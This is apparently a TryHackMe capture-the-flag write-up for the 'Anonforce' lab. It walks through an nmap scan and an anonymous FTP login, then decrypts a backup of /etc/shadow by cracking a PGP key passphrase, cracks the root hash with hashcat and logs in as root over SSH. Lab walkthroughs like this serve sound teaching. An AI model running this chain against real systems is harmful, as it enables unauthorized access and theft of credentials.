Anonforce | TryHackMe | Write-up

Try first,

Anonforce

Starting with nmap scan;

nmap -T4 -sC -sV -Pn -o nmap.scan 10.10.103.126

looks like we have port 22 and 21 open.

login into ftp on port 21 as Anonymous since login is allowed.

Basic FTP Commands

ftp 10.10.103.126 21
Connected to 10.10.103.126.
220 (vsFTPd 3.0.3)
Name (10.10.103.126:user): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.

enumerating the system,

help

pwd

ls

ls /home/

ls /home/melodias

more /home/melodias/user.txt //to read user.txt

Get Unkn9wn’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Now it’s time for root.txt

ls / → showing some unusual directory /notread, Let’s explore this.

https://www.openpgp.org/

mget backup.pgp private.asc

It’s not showing progess…

229 Entering Extended Passive Mode (|||64641|)
150 Opening BINARY mode data connection for private.asc (3762 bytes).
  0% |                                                                                                                            |     0        0.00 KiB/s    --:-- ETA

  0% |                                                                                                                            |     0        0.00 KiB/s    --:-- ETA

I’ll be using here gpg2john to crack;

gpg2john private.asc > crack_this_hash
john crack_this_hash
gpg --import private.asc //add the above cracked pass
gpg --decrypt backup.pgp 
//copy of /etc/shadow file, just use john or hashcat to crack the pass

we need to crack root hash here,

Hash.Mode……..: 1800 (sha512crypt $6$, SHA512 (Unix))

copying the line with root,

hashcat -m 1800 'root-hash-here' /usr/share/wordlists/rockyou.txt

now we have the root password,

ssh root@10.10.103.126

cat /root/root.txt

It’s over.